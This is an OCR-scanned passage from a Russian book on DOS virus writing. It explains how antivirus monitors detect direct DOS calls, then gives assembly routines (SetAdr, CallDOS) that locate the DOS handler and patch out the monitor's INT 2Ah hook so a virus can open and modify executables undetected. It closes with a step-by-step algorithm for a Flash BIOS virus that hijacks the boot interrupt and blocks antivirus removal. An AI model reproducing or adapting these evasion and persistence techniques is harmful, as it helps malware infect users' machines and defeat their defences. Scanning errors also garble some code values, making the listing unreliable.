Процесс развивается следующим образом. Первый компонент антивирус-
ного монитора встраивается в ядро DOS, а второй - просто перехватыва-
ет цепочку 21-го прерывания. Когда программа выполняет инструкцию
INT 21h, управление передается второму компоненту. У антивирусных
мониторов существует список функций, которые воспринимаются ими
как опасные. Они могут сделать проверку на наличие заданной функ-
ции в этом списке, затем выставить флаг "проход цепочки" и передать
управление дальше. Когда первый компонент получает управление, он
проверяет флаг "прохода цепочки". Если он выставлен, то была инст-
рукция INT 21h, поэтому необходимо сбросить флаг "проход цепочки"
и передать управление в DOS. Если флаг сброшен, это значит, что был
5 - 1436
выполнен прямой вызов. В этом случае требуется принимать соответ-
ствующие меры против возможных действий вируса.
Эта идея исключительно проста и эффективна. В том или ином виде ее
применяют почти все современные антивирусные мониторы. Вот один
из таких вариантов.
После трассировки прерывания выполняется обращение к DOS по
оригинальному адресу. Программа AVPTSR перехватывает обращение.
Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произве-
ден из INT 21h, вблизи начала фрагмента. Обработчик INT 08h,
то есть таймера, периодически восстанавливает вектор 2Ah, если он
был отключен.
Подразумевается, что флаг прохода цепочки 21-го прерывания проверя-
ется в обработчике INT 2Ah.
Конструирование неотслеживаемого обращения к DOS
Для чего нужно такое конструирование? Неужели антивирусные мони-
торы настолько бдительны, что пресекают любые попытки открыть для
модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авто-
ры антивирусных мониторов обладают достаточно эффективными сред-
ствами, чтобы предотвратить прямые обращения к DOS со стороны ви-
русов.
Обратимся к мнению Ю. Косивцова: "Для обнаружения действия нере-
зидентных вирусов необходимо контролировать вызов функций DOS
с номерами: 3Dh (открытие файла через описатель), OFh (открытие
файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов DOS).
Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ
или SYS, то можно выдавать предупреждающее сообщение".
Список выглядит слишком коротким. Действительно, а что произойдет,
если сначала переименовать программный файл? И почему не учтена
функция 6Ch (расширенное открытие файла)? А что будет, если от-
крыть файл для чтения, а затем изменить режим доступа прямым обра-
щением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто
они никогда не раскрывают свои профессиональные секреты. Например,
авторы программы AVPTSR реально учли и использовали все эти мето-
дики и тонкости.
Итак, предположим, что гипотетический антивирусный супермонитор:
- отслеживает и блокирует попытки трассировки 21-го прерывания;
- для контроля "опасных" функций DOS встраивается в начало обра-
ботчика прерывания INT 21h;
- для предотвращения прямого обращения к DOS использует флаг,
сбрасываемый либо во вставленном фрагменте, либо в обработчике
прерывания 2Ah (более грамотный подход).
Эти действия монитора порождают соответствующие проблемы при
конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием "мето-
да предопределенных адресов".
Для решения второй проблемы стоит проанализировать возможное
расположение в обработчике DOS точки перехода на антивирусный
монитор. Очевидно, это может быть точка 0 либо точка 1. В самом
худшем случае можно допустить, что врезка происходит непосред-
ственно после команды проверки на максимальное значение номера
функции. Далее обработчик DOS "растекается" на многочисленные
ручейки, поэтому отследить их все крайне затруднительно. По край-
ней мере, обработчики функций OFh, 3Dh и 5Fh попадают в разные
ручейки. Однако, при использовании ограниченного набора функций
они могут разместиться и в одном ручейке, что намного упростит ре-
шение данной задачи. Функции 3Ch-43h, отвечающие за создание, от-
крытие, закрытие, чтение, запись, атрибуты и перемещение, действи-
тельно располагаются в одном общем ручейке. Это позволяет
использовать адрес точки 2 для прямого обращения к DOS. Монито-
ры, скорее всего, не будут отслеживать эту точку.
Решение третьей проблемы также не вызовет особых затруднений.
Один из вариантов - замаскировать прерывания таймера и изменить
вектор 8-го прерывания перед прямым обращением к DOS. Вместо из-
менения вектора можно попробовать вставить инструкции IRET в нача-
ло текущего (антивирусного) обработчика. При использовании все того
же метода "предопределенных адресов" и, зная позицию инструкции
INT 2Ah в обработчике DOS, перед прямым обращением к DOS следу-
ет просто заменить этот вызов двумя командами NOP.
Пример реализации
Рассмотрим две подпрограммы, которые используются для прямого об-
ращения к DOS.
5"
Подпрограмма SetAdr предназначена для определения адреса обработ-
чика DOS методом предопределенных адресов. Для версий DOS, "пра-
вильный" адрес которых неизвестен, используется функция DOS 35h
(получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код
включена проверка на номер функции. Для "безопасных" функций
предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr ргос near
[Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
; Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
.Сохраняем адрес точки 2А
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки 2 из таблицы
mov ax, [si+4]
mov Seg21 ,ax
mov ax, [si+6]
mov Ofs21 ,ax
ret
Skip:
; Переходим к следующему элементу таблицы
add si,8
[Проверяем, не закончилась ли таблица. Если таблица закончилась,
;читаем адрес текущего обработчика прерывания
cmp [si], О
jnz Next
;Читаем адреса текущего обработчика прерывания INT 21 h - метод
;" предопределенных адресов" не сработал, точка входа не найдена
mov ax, 3521h
int 21 h
mov Ofs21,bx
mov Seg21 ,es
ret
;Таблица позиций 2А и 2.
Table dw OFF03h, 5333h,OFF03h, 420Ah
dw OFDC8h, 41D1h,OFDC8h, 411Bh
dw 0
SetAdr endp
Процедура прямого обращения к DOS
CallDOS proc near
;Если функция безопасна, вызываем прерывание обычным способом
cmp ah,3Bh
jb Trivial
cmp ah,42h
ja Trivial
;3аменяем вызов прерывания 2Ah на две команды MOP (9090h)
;в обработчике DOS, предварительно
;сохранив первоначальные значения кода
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,es:[bx]
mov cs:Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
;Вызываем напрямую прерывание DOS
pushf
call cs:dword ptr Ofs21
;Восстанавливаем вызов 2Ah
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,cs:Save
mov es:[bx], ax
pop bx
pop ax
pop es
ret
-.Обычное обращение к DOS (используется для безопасных функций)
Trivial:
int 21 h
ret
;B этом месте сохраняем значение для кода вызова INT 2Ah
Save dw ?
;0бработчик прерывания DOS
Ofs21 dw ?
Seg21 dw ?
;Адрес вызова INT 2Ah из обработчика DOS
Ofs2A dw ?
Seg2A dw ?
CallDOS endp
Flash BIOS
Новое место для вирусов
Flash-память - энергонезависимая память, которая обеспечивает рабо-
тоспособность EPROM со встроенной электрической схемой стирания и
перепрограммирования. Энергонезависимая память отличается от RAM
тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS - Flash-память, которая используется для хранения кода
BIOS. Она может быть перепрограммирована - это предусмотрено для
облегчения обновления BIOS. Такие микросхемы применяются в 90%
портативных компьютеров, в большинстве компьютеров 486DX2,
486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все
что нужно сделать вирмейкеру - это незаметно модифицировать BIOS,
чтобы вирус стартовал перед загрузкой системы компьютера.
AMI Flash вирус
Алгоритм работы вируса:
1. Проверить компьютер на наличие Flash BIOS;
2. Проверить Flash BIOS на зараженность (осуществить выход, если
она заражена);
3. Считать вектор INT 19h из таблицы (прерывание загрузки);
4. Прочесть первые 5 байт от точки входа INT 19h;
5. Проверить BIOS на наличие свободного места для размещения ви-
руса (поиск области нулей);
6. Установить память Flash BIOS в режим записи (обычно она нахо-
дится в режиме "Readonly");
7. Записать вирус в найденную область нулей;
8. Записать переход на вирус в точку входа INT 19h;
9. Восстановить режим "Readonly" для памяти Flash BIOS.
Единственное предназначение INT 19h - быть вызванным в процессе
загрузки, чтобы загрузить boot-сектор в память и передать ему управле-
ние. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и
записывать в нее нельзя. Поэтому во время работы вируса нельзя ис-
пользовать временные переменные в этой памяти. Более целесообразным
является создание вируса для обычного boot-сектора. Этот вирус следу-
ет поместить в конец памяти и оттуда устанавливать вектор INT 13h.
AMI BIOS обладает своими специфическими особенностями при разме-
щении в микросхемах Flash-памяти, которые базируются на использова-
нии функции EOh прерывания INT 16h. Самое интересное состоит
в том, что однажды внесенный в эту память вирус может запретить по-
вторно использовать указанную функцию. Это запретит антивирусным
программам воспользоваться ею в процессе удаления вируса из BIOS
компьютера. Исходя из этого, авторам антивирусных программ придет-
ся трассировать INT 16h, чтобы получить оригинальный вектор.